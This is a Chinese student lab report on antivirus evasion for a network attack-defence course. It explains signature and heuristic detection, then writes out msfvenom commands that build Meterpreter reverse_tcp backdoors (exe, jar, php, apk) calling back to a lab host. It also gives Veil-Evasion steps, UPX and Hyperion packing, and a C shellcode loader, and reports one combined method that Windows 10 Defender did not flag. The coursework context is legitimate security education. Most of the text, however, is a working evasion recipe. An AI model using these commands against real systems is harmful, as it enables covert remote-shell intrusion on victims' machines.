20181334张怡杰《网络对抗技术》Exp3 免杀原理
1.1 杀软是如何检测出恶意代码的?
- 根据特征码来检测
很多恶意代码都含有相似的一段代码,或者经常出现的一段代码,这样的代码被记录在特征库中,一旦文件中被检测到了,就会被杀软检测到,并认为是恶意代码。
- 启发式恶意软件检测
如果一个软件的行为很像是恶意软件,那么就认为它是恶意软件,但是缺乏精确判断依据。
1.2 免杀是什么?
免杀,拆开来就是免除被杀毒软件杀掉,一段代码本身能被杀毒软件发现并且删除,如果通过一定的手段,让它不被杀毒软件发现,就是免杀。
1.3 免杀的基本方法有哪些?
- 改变特征码
msf编码、veil、加壳、shellcode都属于改变特征码。
- 改变行为
使用反弹连接、隧道技术、加密通讯数据等。
2. 实验步骤
2.1 正确使用msf编码器
- 非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。
上传至网站进行筛查
可以看出,检测出来很多错误
使用msf编码器对后门程序进行编码
- -p 后面参数分别是:平台/软件/连接方式
- -e 后面参数是:编码器类型
- -b 后面参数是:减去16进制的0
- -f 后面参数是:输出后门的格式(文件类型)
- -i 后面参数是:编码的迭代次数
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=192.168.130.131 LPORT=1334 -f exe > zyjencoded.exe
- 并重新上传网站进行筛查:
可以看出来虽然减少了一点,但几乎没什么效果
- 编码十次继续尝试
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.130.131 LPORT=1334 -f exe > zyjencoded10.exe
出现了个错误
阅读报错原因UTF-8,再看一遍代码,有原来是'x00'的''是中文,修改成英文后就成功了
- 上传网站进行筛查
还是没太大的变化,多次编码不能解决问题。原因是:
- shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软会因此查到异常
- msfvenom以固定的模板生成exe,使用默认参数或模板生成的exe,有一定的固定特征,会因为固定特征码被检查到
2.2 使用msfvenom生成如jar之类的其他文件
2.2.1 生成Java后门程序
- 输入指令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=1334 x> zyj_backdoor_java.jar
- 上传网站进行筛查
可以看出,虽然还是有风险,但是下降了一些。
2.2.2 生成PHP后门程序
- 输入指令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.130.131 lport=1334 x> zyj_backdoor.php
- 上传网站进行筛查
可以看出风险降低了很多。
2.2.3 生成Android后门程序
- 输入指令
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.130.131 lport=1334 x> zyj_backdoor.apk
- 生成文件如下图所示
- 上传网站进行筛查
生成的apk风险比php的要高。
2.3 veil
2.3.1 安装veil
- 输入指令
mkdir -p ~/.cache/wine cd ~/.cache/wine wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
完成后输入进行veil的安装
sudo apt-get install veil-evasion
输入veil打开veil,输入y继续安装直至完成,需要耐心等待一段时间
在安装的过程中,先是出现了因网络问题导致的下载错误,用了朋友的我出现了较多的err但没有理他,加载着加载着就没啥事了
输入veil来检验安装是否成功
2.3.2 使用veil
- 输入指令
use evasion //进入Veil-Evasion use c/meterpreter/rev_tcp.py //进入配置界面 set LHOST 192.168.130.131 //设置反弹连接IPset LPORT 1334 //设置端口 generate //生成后门程序文件
veilzyj //生成文件的名字
如图所示,保存路径为/var/lib/veil/output/compiled/veilzyj.exe
- 上传网站进行筛查
可以看见还是检出率还是比较高
2.4 加壳工具
2.4.1 压缩壳
- 输入指令
upx zyj20181334.exe -o zyj20181334.upxed.exe
- 上传网站进行筛查
加了壳,也只是减少了一点点风险。
2.4.2 加密壳Hyperion
- 输入指令
cp zyj20181334.upxed.exe /usr/share/windows-resources/hyperion/ //将文件拷贝到/usr/share/windows-resources/hyperion/目录中
cd /usr/share/windows-resources/hyperion/ //进入目录
wine hyperion.exe -v zyj20181334.upxed.exe zyjH.upxed.exe //加壳
生成成功
- 上传网站进行筛查
比压缩壳风险降低了一点点,不过也就是一点点。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=1334 -f c
- 创建zyj20181334.c,代码内容如下:
unsigned char buf[] = "shellcode内容" int main() { int (*func)() = (int(*)())buf; func(); }
- 输入指令对c文件进行交叉编译,得到可以在Windows环境下的可执行程序
zyj20181334c.exe
i686-w64-mingw32-g++ zyj20181334.c -o zyj20181334c.exe
- 上传网站进行筛查
2.6 通过组合应用各种技术实现恶意代码免杀
对刚刚的shellcode压缩壳再加密壳
但是没有成功
再使用学姐的办法使用python生成payload,生成的文件runme.bat以及setup.py,win10自带的杀软没有杀掉,检测的时候也是无毒的
3. 总结
3.1 开启杀软能绝对防止电脑中恶意代码吗?
显然做到绝对是不可能的,只能说大部分的恶意代码能被查出来,凭借特征码进行判断,有经验主义的嫌疑;凭借所作行为进行判断,则有误删的可能。即使做到万无一失,宁可错杀一百也不放过一个,也会有新的、避开检查的恶意代码的出现。所以我认为不能绝对防止电脑中恶意代码。
3.2 实践总结与体会
这次实验可以说是旷日持久,比之前的实验要麻烦一些,尤其是veil安装那里,更要保持好的心态。在这些小实验中,我对后门和免杀有了更深的理解,算是小小的入门了一下。还有就是不能完全依靠杀毒软件,虽然这次实验大部分的恶意代码还是被检测了出来,但是安全规范使用电脑才是保护电脑保护信息安全最有效的办法。